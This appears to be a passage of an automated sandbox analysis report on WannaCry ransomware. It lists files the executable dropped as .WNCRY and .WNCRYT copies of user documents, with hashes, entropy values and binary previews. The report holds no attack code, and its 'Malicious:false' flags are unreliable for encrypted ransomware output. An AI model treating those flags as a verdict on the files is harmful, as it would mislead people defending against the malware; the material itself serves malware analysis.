                                    Preview:..s..i...)....`[.y..+%.."...7.W.Oa...o.?i..[.-...j.H[seU..T...+...B..^'Bgr....#.s..^Qh".q..Y.......%....^.K7..C...9.ZtA.]Zy......1..[.|J...Q+...z<..2f._.:...i1.d.N....=....(..(X..7.....<....F.HD...y.M...=....}L..i.W.I.x..6...'.)n1..Z..f.x].;.X...t-..V.s...O.....g...b.l....P.\..k..R2,......a."...I?xrk..)..7.)p....O..t"......Jk...Z..C6r...w"...d.0Ej.....-....}..u0|.[..EG.!%..sY..2Fj..@.X.Q..o)...-.N.........F.G.j...d.....k.h...&....3......."..pK.Ze.....K.8.'...{F".F.....M..:.........u|_..;^=...}..XR.-UT2_....g.F.A..T.?.5I.r.K.LZ..\z-..o?..G.9>O4..X....r..]EY.9.[.C..........b...Z.........U.......W..0....4t,iB...v.%].....)i']...Mgd.Jo....._..x..7|.%.I...e....0. .d...[..\...X...E.N=p..}.*;L.?.g.\.u_.|:.}.).4....a$I.0..oq..[./g.kQ.{.....(#....']x......dmF.xV.V./..p.....}.....;....U...2.....Az.3.H8 H.G.../.FwMe.4....m.1..O..........U.T{2I_a...1j..J..p.il.......$Y.n.V.&>.%oSm.P.oP...T+.........2.....#.:.........&$X.N.B....L....I.J..U,..

                                    C:\Users\user\Desktop\BWDRWEEARI.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.851794965642627
                                    Encrypted:false
                                    SSDEEP:24:bk6qJyjm9FeW/TEx33fej5kWgt+nJsvkMUASR3rL2wqDVUKMc3NU1vAK:bk9JhFeCI3mj5k+mXif2xx9Iv5
                                    MD5:2617A31E0E29B6E02F0F524105D0CA95
                                    SHA1:AD68B91784F397BC1C814A68C2CA61BBC828B804
                                    SHA-256:05792C6719957B9A9D3DAB8425FE958EC93776EEBA69C8E2864E2BBB861DB125
                                    SHA-512:99D9C7AE2CBDBADC416E907349EA0F9F312B8728F90C09608698C4F85BDC43993D2464172005910A087952D57325B89F1052330A88CA65B6BA6F644A50270679
                                    Malicious:false
                                    Preview:WANACRY!....B..E.-.X..D.c./.x.<..\.<u@..?.%......t6m.....%G..Ve.G.@E.........A..I.r..Y.^.).b.....j. ...&."..(.]h....@....z.}......rZsh....e).....q....[W.?.T.]=T}....4......2.S...oA.<..|...^...U..X.!....p..........3......Xm..~.Xi.b.....J.....H.....L...................o\*....&..I.....{..T[.`..F..|.Wy.e....P.C|....K..z....1...L.i....F...}...m.vyg..[.+ER.z.......i.;.w.R...._...y....."+.V.Z.M......Nr.....]....*t...i#.<9$......U`..&..`/.Q.J.R.l..).....0j.zC....*q.Q.....J!..+......=........`@..{.M..?..Y.B....r;U..!....Rb@y0Li....^.%Zot.xN..'?.."6Y..]c...B.+oi.j......%....eq.......H..S..p~ds..K...FE..R2..H,I.NA.Dc..X..~.^g.x....{.b.kz.I.)....C...I8........2.t&-............,F...-..(...4....'..=..Id.Y\xK.0.h.-...p..$..........[.Y......-n.G.].4.uf..Vfm..lW..T..B..mad........:=.a.!..w.LF<I)...t.3B.%_+..)...T..O..H\.e~......U....a../...$.-..E5v"........\..b..7`.../....<......c..4..."..r..E.|i....!....]...J.......D......N.I(X..j........^D.z|.`]

                                    C:\Users\user\Desktop\BWDRWEEARI.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.851794965642627
                                    Encrypted:false
                                    SSDEEP:24:bk6qJyjm9FeW/TEx33fej5kWgt+nJsvkMUASR3rL2wqDVUKMc3NU1vAK:bk9JhFeCI3mj5k+mXif2xx9Iv5
                                    MD5:2617A31E0E29B6E02F0F524105D0CA95
                                    SHA1:AD68B91784F397BC1C814A68C2CA61BBC828B804
                                    SHA-256:05792C6719957B9A9D3DAB8425FE958EC93776EEBA69C8E2864E2BBB861DB125
                                    SHA-512:99D9C7AE2CBDBADC416E907349EA0F9F312B8728F90C09608698C4F85BDC43993D2464172005910A087952D57325B89F1052330A88CA65B6BA6F644A50270679
                                    Malicious:false
                                    Preview:WANACRY!....B..E.-.X..D.c./.x.<..\.<u@..?.%......t6m.....%G..Ve.G.@E.........A..I.r..Y.^.).b.....j. ...&."..(.]h....@....z.}......rZsh....e).....q....[W.?.T.]=T}....4......2.S...oA.<..|...^...U..X.!....p..........3......Xm..~.Xi.b.....J.....H.....L...................o\*....&..I.....{..T[.`..F..|.Wy.e....P.C|....K..z....1...L.i....F...}...m.vyg..[.+ER.z.......i.;.w.R...._...y....."+.V.Z.M......Nr.....]....*t...i#.<9$......U`..&..`/.Q.J.R.l..).....0j.zC....*q.Q.....J!..+......=........`@..{.M..?..Y.B....r;U..!....Rb@y0Li....^.%Zot.xN..'?.."6Y..]c...B.+oi.j......%....eq.......H..S..p~ds..K...FE..R2..H,I.NA.Dc..X..~.^g.x....{.b.kz.I.)....C...I8........2.t&-............,F...-..(...4....'..=..Id.Y\xK.0.h.-...p..$..........[.Y......-n.G.].4.uf..Vfm..lW..T..B..mad........:=.a.!..w.LF<I)...t.3B.%_+..)...T..O..H\.e~......U....a../...$.-..E5v"........\..b..7`.../....<......c..4..."..r..E.|i....!....]...J.......D......N.I(X..j........^D.z|.`]

                                    C:\Users\user\Desktop\BXAJUJAOEO.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.801055900863956
                                    Encrypted:false
                                    SSDEEP:24:6OoXAu3UrILWNZmmpGKJKWhXv5EQK58+c950GkMS:62u3q2XKJphXB658+cj0FT
                                    MD5:01EC2B06858E4F63D3F537062235509A
                                    SHA1:7EE6E5D0514B02ED91C09E429FC5071792B38E69
                                    SHA-256:70E0A9FCFEEAF3D926FC35A51443A864E53B908545EDE06FF3B3693424536CCE
                                    SHA-512:FCF8FC941E03AE4F0EC5343DFF7E3C9E01789F7854942A40C0505F66EB3E46A62F1213CA9D796D5872538FD2CF1EA79B1E4DC523C6ABF32CA6022C69C7210D1B
                                    Malicious:false
                                    Preview:M..f........U.Ar..k..%...Y.!...Te..m.o....(.R.....x`.u:..9.Q..MM...(.;.08^.?.......w.`>v.m.D.1j.......!}C..3~.y..[...._J..e{|^;...t._.V.........qRK.M.6I.WF....z.......(/.....o...:$.(-=Hu.l.J.#}_.|..t.r...n.x.u.k6..LW..=..(....(..f..`..{+..)...)Rp.B..u..8y.k..I:.0...y..]...B&...)p.^.j..W...Mci....Q....\...s..a,.EM....uY.R...g.%....X.D...80....M..+Y.y....&.q`Wqu..Ide..0.+.<C3M..6.....|.Q[........Hr...*.:Q.....-..H.....6r....p..L... .0..D..Ig-.9T._.4..\..S.T.OS........(......4w._.w0..j2y..g...cQT6.>...3x.@....UG.z.f...u^..2..4#..IQ,B.t..$ H^..~..o#..o...O..|.X.).xL.[.....Q.(...P<~..<..QCw.r...s~..bX$....fl.H..N.......hj....t.. ..P.3CO...U%......Q.@JI&..E.../.c=.2G08.v..\1.m..6S.....w?.<F..D.&..b.K.QI.U.I..CJI.>.H..x....Uw.h.m.0.iNWJ`"u.....XN..I/_...j........M.N.48G.].V/....x..!....A..9.....$=.o.+...9.P4......^.....h..~,.E1idT...O.(..nG9Nc......!....t..M.MnO.,.E.X5.=A#o.;_.z.w...D./..!L.....$F6.@.b~..l.....a)|..`.pG.q..a..a.*`,.|1_..O.r.Xf.#.A.~'.Ck9

                                    C:\Users\user\Desktop\BXAJUJAOEO.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8221211785502
                                    Encrypted:false
                                    SSDEEP:24:bkt5BNKy1WUPChWYbJ0A3Q4W4UTDY2bGJz6VKa9NE0M5J+e7Ace+SvXeqFnhhRZ:bkOykQUb+reU/Y51za9NmbKeanZZ
                                    MD5:BDC538DB625BBF75A9F30C158357970A
                                    SHA1:BEB90DE1A6552AF916322FD4A93571204B233E57
                                    SHA-256:F197FB9427355C2DDB5A69FB4BD784CE9388958B4C2EC7626A09995A582572DA
                                    SHA-512:4CC9E30687AA8F3585EDBA39A54227DE423268413ED2401D8C64EF9C2DED55B57FE474BDB15AD1DB615F0067C790CAF6F65EE0EE17B54E659FF6C14C8FA210DB
                                    Malicious:false
                                    Preview:WANACRY!.....z.....l.p.G$........&.\Sm<.N9..._....t"]...Kt.<..:T.....Y.qG.6...nW..K..+$@. 2...z..*I*...9..!.DGR.3.l.........h...\...P....q...m...`.3....Yr(.....3.3........(..I.f.....6X..0.t...+..0.I..R....o*..X'DV....!.b..>...n.zN.1......E.t.(f%.3j#2...|g............g.#.Z8.a.=&..2.I.t....Em.....'.jl..w..M(.A.o..^B..Cf.S=...Y..".......;zs*..4hB...P+.D...n.........W.M0Y.6B"....p.M%:.2.C.A......X... ...x...9....^...NKO..%..D ...R.q.(_..T.!Z....b- .w$...Z.......|.....s.]..K..c..6.P'....#Q#.......S..;.*/.....U......-..S..S.O8.E.....95a.....I....5M....;/...)......N..q.:|$.Q8r~..6q.3....e."n..).S..........<..7..."..$.x.}g.....Df..I....h...7....__...=6+.7.#...+..2....".&...i.\|......t.5.D<..Z.V...@)).L.K~.....y.1...k'...).......V.{.<,..S.Ch.^...2z6...a..m.i...C.~.`.......5..|.>r.>01.N....t.B|...v..Z......bl.......e..<.zAr......Kd.St....U......u.f].....?.#.m.u..a.@;.......Fn. ....P+...V.py..*....).+q...^.........)......Ms.I.!..W.....qEtS.S~:...f..\../..%wX.C

                                    C:\Users\user\Desktop\BXAJUJAOEO.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8221211785502
                                    Encrypted:false
                                    SSDEEP:24:bkt5BNKy1WUPChWYbJ0A3Q4W4UTDY2bGJz6VKa9NE0M5J+e7Ace+SvXeqFnhhRZ:bkOykQUb+reU/Y51za9NmbKeanZZ
                                    MD5:BDC538DB625BBF75A9F30C158357970A
                                    SHA1:BEB90DE1A6552AF916322FD4A93571204B233E57
                                    SHA-256:F197FB9427355C2DDB5A69FB4BD784CE9388958B4C2EC7626A09995A582572DA
                                    SHA-512:4CC9E30687AA8F3585EDBA39A54227DE423268413ED2401D8C64EF9C2DED55B57FE474BDB15AD1DB615F0067C790CAF6F65EE0EE17B54E659FF6C14C8FA210DB
                                    Malicious:false
                                    Preview:WANACRY!.....z.....l.p.G$........&.\Sm<.N9..._....t"]...Kt.<..:T.....Y.qG.6...nW..K..+$@. 2...z..*I*...9..!.DGR.3.l.........h...\...P....q...m...`.3....Yr(.....3.3........(..I.f.....6X..0.t...+..0.I..R....o*..X'DV....!.b..>...n.zN.1......E.t.(f%.3j#2...|g............g.#.Z8.a.=&..2.I.t....Em.....'.jl..w..M(.A.o..^B..Cf.S=...Y..".......;zs*..4hB...P+.D...n.........W.M0Y.6B"....p.M%:.2.C.A......X... ...x...9....^...NKO..%..D ...R.q.(_..T.!Z....b- .w$...Z.......|.....s.]..K..c..6.P'....#Q#.......S..;.*/.....U......-..S..S.O8.E.....95a.....I....5M....;/...)......N..q.:|$.Q8r~..6q.3....e."n..).S..........<..7..."..$.x.}g.....Df..I....h...7....__...=6+.7.#...+..2....".&...i.\|......t.5.D<..Z.V...@)).L.K~.....y.1...k'...).......V.{.<,..S.Ch.^...2z6...a..m.i...C.~.`.......5..|.>r.>01.N....t.B|...v..Z......bl.......e..<.zAr......Kd.St....U......u.f].....?.#.m.u..a.@;.......Fn. ....P+...V.py..*....).+q...^.........)......Ms.I.!..W.....qEtS.S~:...f..\../..%wX.C

                                    C:\Users\user\Desktop\BXAJUJAOEO.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.808278251858984
                                    Encrypted:false
                                    SSDEEP:24:yNmrc5HcGTTK4fYe92g/ZVZ0lg6OGlZ5B7GuDEu5ti/rt+9:yNec5H9TTK4f79ZZn06UlZ5B7GCR5tec
                                    MD5:39B54B0D40C63AA657B6609E6E42F0C3
                                    SHA1:1B5463FEDCDC7E1BFCCE8FF3063319053EF68AED
                                    SHA-256:9A7F5B609500C7AA153BEF7AB046E410EEA9AB4915A0BF3673171604789D103B
                                    SHA-512:82BFC26FE0513AE9E3F95BDBE68DBDD1360EC42A49149642BE6B805888905B4CF1A8B7360FDF489780CECD22E52DA180CBA3F5E8BAA468BDA121F0FE95A894AF
                                    Malicious:false
                                    Preview:b.D.p..XBqn.Oua.a..e.'C..B..Z.C.......t.B..........alV0[..$.|1.I^.S...I...,..m.../....L..!..aV..2w.......=....'u.V0.\N....5<w..j..X2...7........'T&.........z.......08x.i..}.n<..{..9.].].3e.^d.#....;.X.W.f(..e...... .|.e..a.....-.+)=@..$.R.R..g.*....I....)dGQ-.fO...)..x.2QN-_Q{5.dw.mT\....HO[......jFn....".@l.<.+.jN...{..U.#.u...8.W(..-.&N.n.... ...b.<..|#..dM...7.......u.....)_M.....$9c...Qr.^.]....#....^2).RB.K..O.=.k.r....J.L.L.;q(U.l..:...R!.=.Zl6n...{,Ye2.#....~..(..:b.NE.QN..q..|...8.Xb.t....t.L...'.$......'...XPr9.........e/..g..:...)T..f..O..v..* s.R....Zw$..r\].AZh...J}.Y..4lO..a...9.%7h.P{.}....5.#..[...0.0......q...'....._.]....6q3...aN[..[^E.;Oy.Y.......7...d..}M<.....J!zX..].R6Ft.0]......IC...........r..EbZ...h..M....D...'...;..k.~.....Ez.6A..!....1>./p......x..Z\Ax.8|.H..9.....*.._........|7K.f..wDP..m|..=R9G.mA.........xDU_U...&8..&.f.......w.......S.*<...n.o..P..JZK...G0(.t.Y.b.....j......O.o..N.;p.........%...F...

                                    C:\Users\user\Desktop\BXAJUJAOEO.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.862905526885247
                                    Encrypted:false
                                    SSDEEP:24:bk2GWNVGxYvw3rghuwJRWFdAzVxnr8gNp22tu069FyF/ubO5cnDZhzNK3gjlLgMU:bkdxYvi2uwJRWFdonr582YcXoDZhzNKf
                                    MD5:DB46066C7DA5C8FB2E06D39A36123D8A
                                    SHA1:7C54AA0ABC82DF507B59B61C00EFD85B4F3CDC3C
                                    SHA-256:0AB8A5B5F34BEC905C53C0154CC7F5A3983D5F617B462B6D291BE797EE187140
                                    SHA-512:3955C55DD06246B66701066963C2E330128465CC2B3C951C017C589DC34CF8AB61B46CB30D750CE2A4A0B90557302F9E9FCF863FB08ADFB39203E28A4F07D510
                                    Malicious:false
                                    Preview:WANACRY!.......n....]..lc...Y..7...$...d.....(...Y^.B^J.mOp..-..f..3.Y....N..y.N.:#dZb.!..&j.O.hC%.j...*...3.U^.K..|J.e..*:.b._....z}q/...CX.B......6....W...0E..t..f\.+z........1......X....ck...f4.E.=i...\.j....>X!..%...%.I.t$.%6<S-.0.S].Hm..l.h{S[W.s.?=............?r.?:.v..>..(..8).^u.U.t....hI..w(.l..(.x..ZT.....]m.}...u..4F....E..x....e.....g. .;.K..u).A....;My....*`].....w.r.f..?i....b?.....8.C`.S.........:D._..V!V...;b.`.R..S.~x.^R..h:.:...|+8.,S/._o.P/...&.m..P.J_i,.M..s;......c.....<N....^K....@_A...Q.....B.8......CL.......a...G..c.Tk...he6.y........@h....e....{'.'...^...G..-c</.+.%#..+.j....0..A7l.[.M ...^...V.>.........V.o.9Z.zq..[..t..Ih.W.3{...a.'....aX~..(.k.;4=..t=e....u...G.h.{.-...xg..2..^...!.?..#4P78....\.~2S.{...x..IO..+.....N.+4....Os6.....R~vV....c_.g....Y2$........O.O..)e..^....tR5R...I...%B.l.xCVr.z....-..Rm.....|.A..V.a..FIX.A._M..^...-...0E..DG[......C.....m..n$.}......<.9..."......jx.7.V....P...'.K...T. .g...S

                                    C:\Users\user\Desktop\BXAJUJAOEO.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.862905526885247
                                    Encrypted:false
                                    SSDEEP:24:bk2GWNVGxYvw3rghuwJRWFdAzVxnr8gNp22tu069FyF/ubO5cnDZhzNK3gjlLgMU:bkdxYvi2uwJRWFdonr582YcXoDZhzNKf
                                    MD5:DB46066C7DA5C8FB2E06D39A36123D8A
                                    SHA1:7C54AA0ABC82DF507B59B61C00EFD85B4F3CDC3C
                                    SHA-256:0AB8A5B5F34BEC905C53C0154CC7F5A3983D5F617B462B6D291BE797EE187140
                                    SHA-512:3955C55DD06246B66701066963C2E330128465CC2B3C951C017C589DC34CF8AB61B46CB30D750CE2A4A0B90557302F9E9FCF863FB08ADFB39203E28A4F07D510
                                    Malicious:false
                                    Preview:WANACRY!.......n....]..lc...Y..7...$...d.....(...Y^.B^J.mOp..-..f..3.Y....N..y.N.:#dZb.!..&j.O.hC%.j...*...3.U^.K..|J.e..*:.b._....z}q/...CX.B......6....W...0E..t..f\.+z........1......X....ck...f4.E.=i...\.j....>X!..%...%.I.t$.%6<S-.0.S].Hm..l.h{S[W.s.?=............?r.?:.v..>..(..8).^u.U.t....hI..w(.l..(.x..ZT.....]m.}...u..4F....E..x....e.....g. .;.K..u).A....;My....*`].....w.r.f..?i....b?.....8.C`.S.........:D._..V!V...;b.`.R..S.~x.^R..h:.:...|+8.,S/._o.P/...&.m..P.J_i,.M..s;......c.....<N....^K....@_A...Q.....B.8......CL.......a...G..c.Tk...he6.y........@h....e....{'.'...^...G..-c</.+.%#..+.j....0..A7l.[.M ...^...V.>.........V.o.9Z.zq..[..t..Ih.W.3{...a.'....aX~..(.k.;4=..t=e....u...G.h.{.-...xg..2..^...!.?..#4P78....\.~2S.{...x..IO..+.....N.+4....Os6.....R~vV....c_.g....Y2$........O.O..)e..^....tR5R...I...%B.l.xCVr.z....-..Rm.....|.A..V.a..FIX.A._M..^...-...0E..DG[......C.....m..n$.}......<.9..."......jx.7.V....P...'.K...T. .g...S

                                    C:\Users\user\Desktop\BXAJUJAOEO.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.800423660789983
                                    Encrypted:false
                                    SSDEEP:24:YUsa5+wjVp+q4FJqHp86SwVztmY26srKG9+mgo+8VoRixL7H0tg:7r5+YfO6fVcxKG9+mViilUtg
                                    MD5:588E816F6268BFF594D4F8F340F8AA79
                                    SHA1:EB7F39FFC880AE427078355CE95B1DE00BD419E3
                                    SHA-256:463CA3BDE92E184FF60F3AD828E7ADA445E51639F9A05E3977B36C22D42BB673
                                    SHA-512:2D05534DFB9A910B8DCD7FA6446E2B500755EF8C11144AEA092CE90C6FB1658F2557B9E93E3D9C329ADC1981BCA835B923255B60994DCD55A3C6844C618EBDBE
                                    Malicious:false
                                    Preview:...B@.@.~._.H.P.Q...jyV]..0..ju.....`...&..W.....H.^.YI}.8.?.E3.U%,...9?.k.....@.J..W;`.6.P......."P...o.T..h6..$...Q....YZs8a$X..qO;.\/.vb...d..q.H.....Q...S...O.QU.7..L...47,..<e.q#.4...9..y....~..N...fo<S......=..M..Kk8.. ...)s.uLU1..W.Y*m..b.Af.W.0sNLPK...'..J.Y.(....Q..9X.+...%.*l....&...-q@N..1-.V....S..`~...Cp...v.6..:.i.c.e....I....lI|Y..?x..U.....bco.Z.)...f..........6.Q.....:.$.:J.G;....y{}ZD+.q..`b..^#......K.E%.".h[.CS!.`..q[b).[.E.....=.....X4..~j}.vUrm".B[8...8.)Wb/...1._.hUv./.....R^.vw]G...n.R.2.VC|R.......~....X..9.tb..E].3....49..A...cM-.4Y..............^...@..$..iO.,......V.2.....].A..a.......Ji.59........t.....>`A..)y...L[......;..(.,\t...w.'S..O..`..=,V.....*..,...qz}....D...@s$dN5.}.&..^.....\.q............J....!^..@Q...'(56_|jJ.!...........OW.s...Q.?.\E..o.{.....T\.......k..-.EZ=P...G}......>\...#..^...9..Ad6r...0..77.1.D../K.W%.k....jV.....S...l.......=..Rz._..y......xJ{~n.6L@K...5..!D..Z.+&..R.z.........8.U$..+.

                                    C:\Users\user\Desktop\BXAJUJAOEO.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.841574849554629
                                    Encrypted:false
                                    SSDEEP:24:bk+BVvWU8+JG5uqXUQ8S4E3gzvlgaqU8WKh7qk7WNtxaBOW4OL8:bkOVr8N5uqXU7SozvlBIrW082I
                                    MD5:46085792442D67666C4AA57044791FAF
                                    SHA1:B8232B790775A13003D2C6DB1FF84026D36FD6FE
                                    SHA-256:CEFD504ADBCD6E6888E293086C318612856ABE4C6DA8116B901673A5BAD3EA33
                                    SHA-512:9143598E22704CC4AC703B4D1157F1FC6E0202646BB98EE6F4AD2DE9FB96085D3AC3C75AB8A52FF1AB6B5A7FD13FE737E78D6A072EB7BD720EA8FDA02CB333B9
                                    Malicious:false
                                    Preview:WANACRY!........._..:.?.....$.b.:.r.<..*..co.K'...eRR;.....7..+~...?.j09...O.r/.....N,O{...J.3.9.K.t#.b.t.-.+.K...]...F.........<..'......m?@)..%..p.Z.%MMC..x.C.zt.Yv.."N.4..e....M.i.GYP.....QY.....a..<..~.>.eT}...."(.aJ...O6..1.W..4........%...]..A....E..............sF.$`RA7q..x..o.........B..K..T.+.g.3j6/.....m.+|!....V...%(....(....J.:.......y..|..q<...E.\*.uu...ix...$.......bY..!=..8D.E...mQ.4t.Zc..|...S-CI....@.&.).........&._..1.`dH F.].....Q.....G.*/.....3?.8..w...ii.y.Ta".\.*..,.y....x...~j..v=..&..M.=B=.$........>s..(.I.s...g.:..X.t.O."G.L..!.5.7.A.......k..a.;$.N..q.n.'../2.>X=..I.........sbA.....BZ...<Kk.v[.;....%.z.!..&.nr...........W.9....HFQ.8...R11.'b. Sh.;.Q.'E..fN$..:(N..z..Q....J..'{....)|=...5..69...H...[#...*b......'....x._..z8......>.$I.N.s..wI...._...v!).%N.?.,......Z......{...5QF.dj.0'. m.A.vJ6..`7...j.;6....-).H.....s.On).-c..9..OsG.S|D.....Y.=\.$*.....s..:....T..(6..|.b.....?x....R9.....C.......u}.lp....S.........

                                    C:\Users\user\Desktop\BXAJUJAOEO.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.841574849554629
                                    Encrypted:false
                                    SSDEEP:24:bk+BVvWU8+JG5uqXUQ8S4E3gzvlgaqU8WKh7qk7WNtxaBOW4OL8:bkOVr8N5uqXU7SozvlBIrW082I
                                    MD5:46085792442D67666C4AA57044791FAF
                                    SHA1:B8232B790775A13003D2C6DB1FF84026D36FD6FE
                                    SHA-256:CEFD504ADBCD6E6888E293086C318612856ABE4C6DA8116B901673A5BAD3EA33
                                    SHA-512:9143598E22704CC4AC703B4D1157F1FC6E0202646BB98EE6F4AD2DE9FB96085D3AC3C75AB8A52FF1AB6B5A7FD13FE737E78D6A072EB7BD720EA8FDA02CB333B9
                                    Malicious:false
                                    Preview:WANACRY!........._..:.?.....$.b.:.r.<..*..co.K'...eRR;.....7..+~...?.j09...O.r/.....N,O{...J.3.9.K.t#.b.t.-.+.K...]...F.........<..'......m?@)..%..p.Z.%MMC..x.C.zt.Yv.."N.4..e....M.i.GYP.....QY.....a..<..~.>.eT}...."(.aJ...O6..1.W..4........%...]..A....E..............sF.$`RA7q..x..o.........B..K..T.+.g.3j6/.....m.+|!....V...%(....(....J.:.......y..|..q<...E.\*.uu...ix...$.......bY..!=..8D.E...mQ.4t.Zc..|...S-CI....@.&.).........&._..1.`dH F.].....Q.....G.*/.....3?.8..w...ii.y.Ta".\.*..,.y....x...~j..v=..&..M.=B=.$........>s..(.I.s...g.:..X.t.O."G.L..!.5.7.A.......k..a.;$.N..q.n.'../2.>X=..I.........sbA.....BZ...<Kk.v[.;....%.z.!..&.nr...........W.9....HFQ.8...R11.'b. Sh.;.Q.'E..fN$..:(N..z..Q....J..'{....)|=...5..69...H...[#...*b......'....x._..z8......>.$I.N.s..wI...._...v!).%N.?.,......Z......{...5QF.dj.0'. m.A.vJ6..`7...j.;6....-).H.....s.On).-c..9..OsG.S|D.....Y.=\.$*.....s..:....T..(6..|.b.....?x....R9.....C.......u}.lp....S.........

                                    C:\Users\user\Desktop\GLTYDMDUST.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.796593192945193
                                    Encrypted:false
                                    SSDEEP:24:t68mOxP0Bs0JPbbKX1D9bRGsncIm/oxgGJ25zHh1dIds:t8OxsB3R/mRGYLwmgGJu1dcs
                                    MD5:651FC6F257E5E5F1C6F25E052294D9BE
                                    SHA1:68FB239767CF5119BB45682F304A9A636B9CD4AD
                                    SHA-256:873F8E84FFFD3317453896E7633158F3C976CA1D212114B3192EEA03A264DB7C
                                    SHA-512:0B460AB3807AF72F1566170E565C181232FEC047C67E5247EE6BF6251F988DC9BC8336A15A16DA6122B75C7DACF200726EF63582444D19F020C1BE81C5DE60D9
                                    Malicious:false
                                    Preview:]O.kzT.XtGj.S.....6...^^X..EJp..(......Q..{.~V..CcO...H.Tt..X....-..).+J|*.l.N4.!`35....u....yhc.2.....E\.....H..RA.4.m..h.i".......x../...q..}...dr.>+.....h.x...rKR7......0..&yo".&.s..}.>.v.R.N...iF.0.|r......E...UWY.7.A.F...)...*h.....X.k8.2.~.%..B...5.pH`..p.S`.'...M.)...o5.....=.(\#..t.e..Q...[...[.vH.-..h...p.T..([(.*.H.s1.O>z..Y.1T.Oz......@A..|.K'#.a....R.B..,.?.%..FY[N...|.v....CM..S.........S1K..,.E.{h...F.%.`UL .#m...`......:.......p.M:.W..Z..G..^....Y0..R.>.Y.GwOW...~z8.....3b!FD..E...o...H`........G......?K.<...e.H%1N.A.@.......b{.l.-...U.9 ./...V.....3.<.^..5...).....l....@l.....o.Lt..c].1..|sNY...b.H*...T>W`.O.]....9CsY;.W..8l-i..5..Y.p.9L.(...M....}x.lOP...Y....k..wWpy.u.3........2.......3....b...H.b.M5.9...~XB|,y.C4..........;..wZd.:..$-..;...B.P MohU........+..../.....)s.$...\u.5..........w...]......|Ww..I........f+.\]v.Q.:....wb..<.8$...%..Mq..V..^.f..h...$]v.r.E....o_.....Z_V..........#.K...3.........r?..`..

                                    C:\Users\user\Desktop\GLTYDMDUST.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8281066736506215
                                    Encrypted:false
                                    SSDEEP:24:bkqwsS7Pwn3pbHu1qESq83zsmxRx67ats+JpBzQzpBSqUT1:bkq7yKtvYCRxdW+fq6PT1
                                    MD5:E9197F2A2A784E7AF70B31ED8FC9DA88
                                    SHA1:56C70CFD4971C62D79FAF2AE29AFDBB32B8B1A33
                                    SHA-256:5FFB3521032B4A56162D404839C90A51A7BC6F9553D2D803135A74B612FC60C6
                                    SHA-512:07AC480590B815D44EDE002304143036472B33D7B180D3AB393302A2C4CDA506DCC171BC664926EC19B1FE7E488FFD52C377005DFC0516CB9CCC28AAFBF1E58A
                                    Malicious:false
